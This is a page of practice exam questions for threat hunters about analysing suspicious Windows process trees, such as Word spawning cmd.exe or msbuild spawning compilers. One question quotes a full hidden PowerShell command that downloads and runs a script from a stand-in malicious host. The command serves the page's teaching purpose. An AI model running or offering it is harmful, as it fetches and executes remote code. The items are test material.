7.5 Investigate a Process Tree CCFH Practice Questions (Page 1)

Questions 1–5

1. 1expert · hard

   You are analyzing a process tree where 'services.exe' is the parent of 'dllhost.exe', which then spawned 'powershell.exe' with the argument '-nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/payload.ps1")'. The host is a critical production server that cannot be taken offline. What is the best course of action?

   • AReboot the server to clear the malicious process
   • BKill the powershell.exe process and hope the threat is contained
   • CCorrelate with network and file events to determine the scope of the compromise before taking action
   • DImmediately isolate the host from the network to prevent further damage
   Reveal Solution Discussion Select an answer first
2. 2application · medium

   You are investigating a process tree where 'services.exe' is the parent of a process named 'msbuild.exe'. The msbuild.exe process has spawned multiple child processes, including 'csc.exe' and 'vbc.exe'. This is unusual because msbuild.exe is typically used for building software. What should you do to determine if this is malicious?

   • ACheck the parent process services.exe to see if it is a legitimate service
   • BVerify that msbuild.exe is digitally signed by Microsoft
   • CCheck the command-line arguments of msbuild.exe to see what project file it is building
   • DLook for any files created by msbuild.exe in the system directory
   Reveal Solution Discussion Select an answer first
4. 3application · medium

   During a hunt, you observe a process tree where 'winword.exe' is the parent of 'cmd.exe', which then spawned 'whoami.exe' and 'net.exe'. The winword.exe process was opened from a document in the user's Downloads folder. What is the most likely explanation for this process tree?

   • AA macro or exploit in the document executed the commands
   • BThe document is a legitimate script that automates system administration
   • CThe user manually opened a command prompt from within Word
   • DThe user is using Word's built-in command-line features
   Reveal Solution Discussion Select an answer first
5. 4application · medium

   You are analyzing a process tree where 'explorer.exe' is the parent of 'powershell.exe', which then spawned 'schtasks.exe' to create a new scheduled task. To understand the full context of this activity, which additional event data would be most valuable?

   • AThe user's browser history
   • BThe list of installed software
   • CThe file creation events for the scheduled task XML file
   • DThe system's uptime
   Reveal Solution Discussion Select an answer first
6. 5application · medium

   While reviewing a process tree, you notice that the parent process of a PowerShell instance is a Microsoft Word document that was opened from an email attachment. The Word process is running with the /safe flag, and the PowerShell process has a child process of cmd.exe. Which action should you take first to determine if this is malicious?

   • ACheck if the Word document has a valid digital signature
   • BTrace the command-line arguments of the PowerShell process and correlate with any related file or network events
   • CImmediately terminate the PowerShell process and its child processes
   • DIsolate the host from the network and then reboot it
   Reveal Solution Discussion Select an answer first